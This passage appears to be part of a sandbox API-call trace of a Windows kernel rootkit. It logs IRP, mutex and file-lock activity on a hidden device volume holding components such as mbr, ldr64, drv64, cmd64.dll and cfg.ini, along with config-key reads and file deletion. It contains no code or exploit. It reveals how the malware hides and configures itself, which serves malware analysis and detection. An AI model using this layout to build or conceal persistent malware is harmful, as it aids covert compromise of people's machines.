out: FastMutex=0xfffffa80027d3898) [0130.034] KeLeaveCriticalRegion () [0130.034] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.034] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.034] KeEnterCriticalRegion () [0130.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.034] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d11000 [0130.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.034] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.034] IdePortDispatch () returned 0x103 [0130.034] KeWaitForMutexObject () returned 0x0 [0130.034] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.034] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.034] IdePortDispatch () returned 0x103 [0130.035] KeWaitForMutexObject () returned 0x0 [0130.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.035] KeLeaveCriticalRegion () [0130.035] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.035] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.036] KeEnterCriticalRegion () [0130.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.036] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.036] KeLeaveCriticalRegion () [0130.036] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.036] KeEnterCriticalRegion () [0130.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.036] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.036] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c08dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.036] KeLeaveCriticalRegion () [0130.036] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.036] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.036] KeEnterCriticalRegion () [0130.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.036] ExFreePoolWithTag (P=0xfffffa8003c05270, Tag=0x0) [0130.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.036] KeLeaveCriticalRegion () [0130.036] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.036] ReleaseMutex (hMutex=0xf0) returned 1 [0130.036] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.036] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.036] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.036] KeEnterCriticalRegion () [0130.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.036] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.036] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.036] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.036] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.036] IdePortDispatch () returned 0x103 [0130.036] KeWaitForMutexObject () returned 0x0 [0130.037] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.037] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.037] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.037] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.037] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.037] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003906770 [0130.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.037] KeLeaveCriticalRegion () [0130.037] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.037] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.037] KeEnterCriticalRegion () [0130.037] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.037] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.037] KeLeaveCriticalRegion () [0130.037] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.037] KeEnterCriticalRegion () [0130.037] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.037] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.037] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.037] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.037] IdePortDispatch () returned 0x103 [0130.037] KeWaitForMutexObject () returned 0x0 [0130.037] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.037] KeLeaveCriticalRegion () [0130.037] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.037] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.038] KeEnterCriticalRegion () [0130.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.038] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d12000 [0130.038] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.038] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.038] IdePortDispatch () returned 0x103 [0130.038] KeWaitForMutexObject () returned 0x0 [0130.038] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.038] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.038] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.038] IdePortDispatch () returned 0x103 [0130.038] KeWaitForMutexObject () returned 0x0 [0130.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.038] KeLeaveCriticalRegion () [0130.038] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.039] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.039] KeEnterCriticalRegion () [0130.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.039] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.039] KeLeaveCriticalRegion () [0130.039] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.039] KeEnterCriticalRegion () [0130.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.039] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.039] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c080c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.039] KeLeaveCriticalRegion () [0130.039] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.039] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.039] KeEnterCriticalRegion () [0130.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.039] ExFreePoolWithTag (P=0xfffffa8003906770, Tag=0x0) [0130.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.039] KeLeaveCriticalRegion () [0130.039] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.039] ReleaseMutex (hMutex=0xf0) returned 1 [0130.039] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.039] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.039] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.039] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.039] KeEnterCriticalRegion () [0130.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.039] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.040] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.040] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.040] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.040] IdePortDispatch () returned 0x103 [0130.040] KeWaitForMutexObject () returned 0x0 [0130.040] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.040] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.040] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.040] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.040] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.040] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.040] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.040] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.040] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.040] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.040] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.040] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.040] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.040] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.040] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.040] KeLeaveCriticalRegion () [0130.040] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.040] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.040] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.040] KeEnterCriticalRegion () [0130.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.040] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.040] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.040] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.040] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.040] IdePortDispatch () returned 0x103 [0130.040] KeWaitForMutexObject () returned 0x0 [0130.041] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.041] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.041] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.041] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.041] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.041] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.041] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.041] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.041] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.041] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.041] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.041] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.041] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.041] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.041] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.041] KeLeaveCriticalRegion () [0130.041] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.041] ReleaseMutex (hMutex=0x100) returned 1 [0130.041] Sleep (dwMilliseconds=0x2bf20) [0130.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70b4ddd0, dwHighDateTime=0x1d24fa4)) [0130.048] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.048] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.048] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.048] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.048] KeEnterCriticalRegion () [0130.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.048] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.048] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.048] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.048] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.048] IdePortDispatch () returned 0x103 [0130.049] KeWaitForMutexObject () returned 0x0 [0130.049] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.049] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.049] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.049] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.049] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.049] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07180 [0130.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.049] KeLeaveCriticalRegion () [0130.049] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.049] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.049] KeEnterCriticalRegion () [0130.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.049] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.049] KeLeaveCriticalRegion () [0130.049] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.049] KeEnterCriticalRegion () [0130.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.049] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.049] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.049] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.049] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.049] IdePortDispatch () returned 0x103 [0130.049] KeWaitForMutexObject () returned 0x0 [0130.050] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.050] KeLeaveCriticalRegion () [0130.050] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.050] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.050] KeEnterCriticalRegion () [0130.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.050] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d15000 [0130.050] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.050] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.050] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.050] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.050] IdePortDispatch () returned 0x103 [0130.050] KeWaitForMutexObject () returned 0x0 [0130.050] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.050] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.050] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.050] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.050] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.050] IdePortDispatch () returned 0x103 [0130.050] KeWaitForMutexObject () returned 0x0 [0130.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.050] KeLeaveCriticalRegion () [0130.051] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.051] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.051] KeEnterCriticalRegion () [0130.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.051] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.051] KeLeaveCriticalRegion () [0130.051] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.051] KeEnterCriticalRegion () [0130.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.051] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.051] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c080c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.051] KeLeaveCriticalRegion () [0130.051] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.051] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.051] KeEnterCriticalRegion () [0130.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.051] ExFreePoolWithTag (P=0xfffffa8003c07180, Tag=0x0) [0130.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.051] KeLeaveCriticalRegion () [0130.051] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.052] ReleaseMutex (hMutex=0xf0) returned 1 [0130.052] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.052] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.052] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.052] KeEnterCriticalRegion () [0130.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.052] IoAllocateIrp 